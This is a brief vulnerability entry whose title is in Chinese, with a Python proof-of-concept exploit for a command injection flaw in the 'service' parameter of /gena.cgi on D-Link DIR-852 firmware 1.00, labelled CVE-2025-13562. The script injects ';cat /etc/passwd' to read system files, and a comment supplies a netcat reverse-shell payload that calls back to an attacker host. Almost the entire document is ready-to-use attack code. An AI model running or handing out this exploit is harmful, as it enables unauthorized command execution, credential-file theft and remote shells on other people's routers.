D-Link DIR-852 1.00 /gena.cgi service参数命令注入漏洞

import requests # CVE-2025-13562 PoC - D-Link DIR-852 Command Injection # Target: D-Link DIR-852 firmware 1.00 # Endpoint: /gena.cgi target_ip = "192.168.0.1" # Router IP target_port = 80 # Construct malicious request with command injection payload # Inject command to create a reverse shell or execute arbitrary command payload = ";cat /etc/passwd" # Example: read system file url = f"http://{target_ip}:{target_port}/gena.cgi" params = { "service": payload } try: response = requests.get(url, params=params, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response: {response.text[:500]}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}") # Alternative: Reverse shell payload example # payload = ";nc -e /bin/sh <attacker_ip> <attacker_port>"